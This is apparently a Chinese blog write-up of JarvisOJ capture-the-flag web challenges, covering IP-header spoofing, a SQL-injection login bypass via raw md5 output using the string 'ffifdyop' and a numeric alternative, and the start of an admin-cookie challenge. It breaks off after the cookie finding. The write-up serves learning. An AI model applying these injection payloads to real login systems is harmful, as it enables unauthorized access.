前言:总结一下最近做过的jarvisoj的web题,有的很有意思,能学习到很多新知识
LOCALHOST
提示很明显,伪造IP地址即可
抓包进行伪造,即可得出flag
Login
一个提交页面,源码中也没有发现什么线索,抓包来看一下
有一句提示
"select * from `admin` where password='".md5($pass,true)."'"
这里就涉及到MD5函数的一个知识点了
这到题我们只需让password后面的语句为真即可,参考了大师傅的博客,提供了这样一个字符串
content: ffifdyop
hex: 276f722736c95d99e921722cf9ed621c
raw: 'or'6\xc9]\x99\xe9!r,\xf9\xedb\x1c
//原始的二进制
string: 'or'6]!r,b
//fifdyop‘字符串对应的16位原始二进制的字符串就是”'or'6\xc9]\x99\xe9!r,\xf9\xedb\x1c“
输入ffifdyop
,当md5
后的hex
转换成字符串后,语句便会成为
select * from admin where password=''or'6<乱码>'
便可以进行SQL注入
除此之外,下面的内容也可以注入
content: 129581926211651571912466741651878684928
hex: 06da5430449f8f6f23dfc1276f722738
raw: \x06\xdaT0D\x9f\x8fo#\xdf\xc1'or'8
string: T0Do#'or'8
大师傅的博客很详细的解释了为什么''or'6<乱码>'
为真,这里就不详细阐述了,又学到一些新知识
最后输入内容,即可得出flag
参考博客
md5($password,true)
admin
抓包也没有任何线索,御剑扫一下
发现admin_s3cr3t.php
抓包,发现
admin=0